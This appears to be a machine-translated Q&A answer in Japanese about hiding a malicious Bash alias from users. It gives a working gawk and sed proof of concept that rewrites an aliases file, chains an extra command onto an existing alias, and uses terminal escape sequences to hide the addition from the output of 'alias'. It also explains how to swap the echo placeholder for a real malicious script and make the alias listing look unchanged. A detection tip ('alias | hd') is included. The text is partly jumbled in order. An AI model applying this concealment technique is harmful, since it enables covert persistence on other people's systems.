LinuxシステムのBashに悪意のあるエイリアスの存在を隠し、ユーザーが知らないうちに実行することは可能ですか?
alias
コマンドを使用してエイリアス定義を表示する場合は、既存のエイリアスを悪意のあるエイリアスに追加し、カーソルの動きを使用して非表示にすることで、これを行うことができます。これは完全に確実な方法ではありませんが、しばらくの間検出されない可能性があります。 alias
からhd
をパイピングすると、エイリアスにエスケープシーケンス(カーソルの移動)があるかどうかがわかります。悪意のあるコマンドをエイリアスに挿入する方法の概念実証は次のとおりです。
alias | gawk 'BEGIN {
FS = "[ =\047]"
db = "\\"; sp = db " "; amp = db "&"
sq= "\047"; bell = "\007"; esc = "\033"
}
NR == 3 { len1 = length($2) }
NR == 4 {
alias = $2
orig = gensub(sq, "", "g", substr($0, match($0, "=") + 1))
orig = gensub(" ", db sp, "g", orig)
}
END {
hide = "$" db sq sp "--" sp db "\r" esc "[J" esc "[A" db "\t"
for(i=1; i<len1; i++) {hide = hide esc "[C"}
cmd = "sed -i s/^alias" sp alias ".*/alias" sp alias "=" db sq "echo" sp db bell db db amp db db amp orig db sq hide db sq "/ aliases"
system(cmd)
}'
sed
コマンドは、「エイリアス」と呼ばれるファイルを適切に変更します。このタイプの実際のスクリプトは、実際のスクリプトファイルを変更して、悪意のあるエイリアスが次に実行されたときにアクティブになるようにします。hide
の内容を使用して実行されるため、 この質問 で報告されたものと同様のエラーが発生する可能性があると考えられます。元の部分と悪意のある部分を逆にしてこれに影響を与える可能性がありますが、これはエイリアスに提供される引数に干渉します。上記のスクリプトで、引数の終わりを--
でマークしようとします。&&
で連鎖させる代わりに、次の部分にパイプして、悪意のあるスクリプト(上記の単純なecho
コマンドで表される)をstdin
として機能させることができます。 stdout
パススルーを使用して、データが通過するときにデータを変更するか、他のリダイレクトに干渉しないことでデータの存在をさらに非表示にします。hide
文字列を変更して、さまざまなカーソルの動きと元のエイリアスのテキストを含めることができるため、alias
コマンドは、悪意のある部分と一緒に非表示にするのではなく、変更されていないエイリアスを表示するように見えます。. aliases
で取得します。次に、影響を受けるエイリアスを使用して、alias|hd
を実行したときにどのように表示されるかを確認できます。